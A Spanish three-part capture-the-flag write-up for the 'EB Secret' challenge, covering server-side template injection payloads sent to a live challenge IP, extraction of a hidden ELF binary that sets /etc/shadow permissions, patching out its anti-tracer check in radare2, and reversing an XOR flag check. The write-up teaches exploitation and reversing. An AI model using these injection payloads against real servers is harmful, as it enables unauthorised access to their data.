EB Secret, c0r0n4con (iii/iii)

Para depurar en radare, vamos a preparar un poco el entorno. Sabemos que el binario pide un input y muestra por pantalla ciertos outputs. Para poder usar el debugger en estos casos suelo preparar un fichero con el input a pasarle al binario (le llamaré payload) y abrir otra terminal donde poder ver el output. Si usamos screen o tmux, podremos hacerlo en la misma ventana: Ctrl+a+| para hacer split vertical. Ctrl+a+tab para colocarnos en la sección derecha. Ctrl+a+c para crear una nueva región. Ctrl+a+: y tecleamos resize 40 para redimensionar la región. Tecleamos ahora tty para ver el identificador de terminal y lo apuntamos (/dev/pts/3, por ejemplo). Ctrl+a+tab para colocarnos en la sección izquierda. Editamos foo.rr2 con la configuración indicada:

stdio=/dev/pts/3 
stdin=./payload

En payload metemos el input inicial, por ejemplo ABCDEFGHIJK.

radare2 fue el campeón en la lucha ghidra vs. radare

Todo listo para comenzar a darle calor al debugger:

r2 -e dbg.profile=foo.rr2 -d cracked

Recuerda, aaa para analizar flags, strings, funciones… Le costará un rato. Ahora V (visual mode), p (modo desensamblado) , p (igual, pero viendo registros y pila).

:db main breakpoint en el main (intro)

_(buscar referencias), Good (sabemos por los strings que pondrá Good job). Intro. x. radare nos situará sobre el código que comprueba nuestro input.

El binario recibe nuestro input y luego concatena dos strings (strcat + strcat) para comparar el resultado con el input (strcmp). Si coinciden, muestra «Good job» y nuestro input es la flag que buscamos.

Podemos poner otro breakpoint al comienzo de esta sección (con F2 ponemos breakpoints en modo visual, sin tener que teclear «db 0xdirección») y otro tras el segundo strcat. Tecleamos :dc para saltar de breakpoint a breakpoint, analizando registros.

Aquí está el meollo de la cuestión

Tenemos un bucle que itera sobre el input y realiza las siguientes operaciones:

input = [0x41, 0x42, 0x43, ..., 0x49]  # el input que le pasamos
IV = 0x50
flag = ""
for i in range(len(input)):
   if i == 0:
      flag += chr(IV ^ input[i])
   else:
      flag += chr(input[i - 1] ^ input[i])

El resultado final lo compara con esta cadena de bytes:

La cadena de bytes que buscamos {1b,52, 3f,5e ,29,4c, 3a,55 ,33,5f, 3e,59,00,7f}

Así que hay que invertir el algoritmo.

sol = [0x1b, 0x52, 0x3f, 0x5e, 0x29, 0x4c, 0x3a, 0x55, 0x33, 0x5f, 0x3e, 0x59]


idx = 0
left = 0x50
newFileBytes = []
for i in range(0,len(sol)):
  right = sol[idx]
  sig = left ^ right
  print(sig)
  newFileBytes.append(sig)
  left = sol[idx]
  idx = idx + 1


newFile = open("flag.txt", "wb")
newFileByteArray = bytearray(newFileBytes)
newFile.write(newFileByteArray)

Y obtendremos la clave en flag.txt 🙂

EB Secret, c0r0n4con (ii/iii)

Tenemos un binario ELF para x86. Vamos a analizar strings:

VIP ACCESS y /etc/shadow en la misma pantalla suena peligroso 🙂

Vemos las cadenas características de éxito/fracaso y también extrañas cadenas kill, /etc/shadow, /etc, nonexist.txt

¿Qué dira ghidra al respecto? Curiosamente si intentamos decompilar la función main veremos que se queda prácticamente colgado. Al cabo de un minuto o dos vuelve a la vida y vemos que el proceso de decompilación las está pasando canutas:

Decompilando main… no le ha gustado mucho

¿Qué estará ocurriendo con ese binario? Creamos un docker para ejecutarlo con prudencia. chmod +x ./decoded y antes de lanzarlo nos acordamos del «Don’t run as root» y viendo la cadena /etc/shadow en el binario, igual es una buena idea hacerlo como usuario no-root, sí.

No parece que haya nada raro a simple vista…

Vamos a trazarlo con strace ./decoded

«Tracer detected!»… vaya

No le gusta tampoco el strace. Mientras lo hacíamos, ghidra a vuelto a la vida y al menos nos deja curiosear por el desensamblado de main (el decompilador sigue loco)

Decenas de llamadas a funciones para generar errores artificialmente

Esas funciones generate_error_X sí que son descompilables. Por ejemplo, generate_error_1 es una simpática función que cambia los permisos de /etc/shadow

Tu /etc/shadow será legible para todo el mundo si ejecutas el binario como root

La cadena nonexist.txt se debía a esto otro:

Provocando otro error al abrir un fichero no-existente

Como ejercicio interesante vamos a ver dónde detecta el tracer y parchear el binario para que no lo haga. Copiamos el binario en cracked, lo abrimos en radare con radare2 -w cracked. Analizamos el mismo con el comando aaa. Pulsamos V (modo visual) y p para ver el desensamblado. Pulsamos ahora _ para ver referencias a cadenas, tecleamos tracer y pulsamos intro . Pulsamos x (cross-references) para que nos lleve a la línea de código donde se usa la cadena tracer y pusalmos intro.

En 0x0125d vemos la llamada a call sym.imp.ptrace y un jne a 0x01296 si no lo detecta. Debemos invertir la lógica del jne a je.

Nos situamos en 0x0000126a y pulsamos A para empezar a añadir el código que queremos (je 0x1296). El mismo radare2 generará el código de operación necesario (742a). Pulsamos intro y guardarmos el resultado. Salimos con q y quit.

radare2 nos permite parchear un binario con el comando A

Ahora sí, strace nos informa de multitud de llamadas a funciones para generar errores:

wow… kill(-9999,SIG_0), open(«nonexist.txt»), chmod(«/etc/shadow»,0754) a cascoporro…

Al haber eliminado esa protección anti-tracer también conseguiremos facilitar el análisis del binario con radare2, esta vez en modo debug. Veamos cómo hacerlo en el siguiente post.

EB Secret, c0r0n4con (i/iii)

La gente de fwhibbit (Follow the White Rabbit) sigue publicando retos en el CTF de la c0r0n4con aún tras haber finalizado la conferencia. Ya comenté en su día que Mike’s Dungeon (Web) de @jorge_ctf me pareció una pequeña obra de arte. Hoy le toca el turno a otra joya, EB Secret (Misc), de @naivenom.

EB Secret entra en la categoría Misc, agrupando técnicas web y reversing

EB Secret comienza con un sencillo mensaje que abre la caja de Pandora.

«The new platform for premium video is vulnerable. Do you know the way to obtain the obsolete program and recover the secret key? DON`T RUN AS ROOT.
http://167.172.187.39:8004/»

El «Don’t run as root» ahora no lo terminamos de entender, pero tomará sentido dentro de poco… Así que nos adentramos en la madriguera del conejo, y nos encontramos con el primer pasadizo:

http://167.172.187.39:8004/secret?name=admin

admin como parámetro en la URL y admin reflejado en el contenido de la página. Mmmh…

http://167.172.187.39:8004/secret?name=trololo refleja el nombre trololo. http://167.172.187.39:8004/secret?name=`ls` refleja directamente, sin interpretar las comillas (¡hey! tenía que intentarlo). También podemos comprobar que hay limitación de tamaño en el parámetro, admite 30 caracteres. Si metemos un valor de 31, el contenido reflejado vuelve a tomar el valor admin: http://167.172.187.39:8004/secret?name=1234567890123456789012345678901

Probar, probar y probar… Costó demasiado que llegara la inspiración:

SSTI FTW!

http://167.172.187.39:8004/secret?name={{4*4}}

SSTI, Server-Side Template Injection. Bingo. Vamos a darle calor:

http://167.172.187.39:8004/secret?name={{config}}

El autor nos saluda con un Holi en las variables de entorno 🙂

Con 30 caracteres máximo no podemos hacer piruetas de (J)(N)inja, pero podemos intentar gatear:

http://167.172.187.39:8004/secret?name={{url_for.__globals__}}

¿Qué hemos aprendido? La current_app se llama ssti (lo que viene a confirmar, una vez más, el server-side template injection)

http://167.172.187.39:8004/secret?name={{self.__dict__}}

¿qué sacamos en claro? Hay un secret en base64 en la última línea:

echo "bm90X3ByZWQxY3RhYmxlX2Z1bmN0MTBu" |base64 -D
not_pred1ctable_funct10n

y una función con el mismo nombre: not_pred1ctable_funct10n ….

¿Qué ocurrirá si ejecutamos la función?

http://167.172.187.39:8004/secret?name={{not_pred1ctable_funct10n()}}

Jackpot!

Copiamos el contenido en un archivo s.64 y lo parseamos.

import base64

f=open("s.b64", "r")
contents =f.read()
splited = contents.split(',')

res = ''
for i in splited:
   res = res + i.strip().replace('\'','').replace('\\n','').replace('[','').replace(']','')


base64_img_bytes = res.encode('utf-8')
with open('decoded', 'wb') as file_to_save:
    decoded_image_data = base64.standard_b64decode(base64_img_bytes)
    file_to_save.write(decoded_image_data)

Veamos qué tenemos por aquí:

$ file decoded
decoded: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=33e62720986f5c9ad3c036ef7ec5118f7e19fd09, not stripped

Yeah, ¿bajamos un nivel más en la madriguera del conejo? Esto se pone interesante…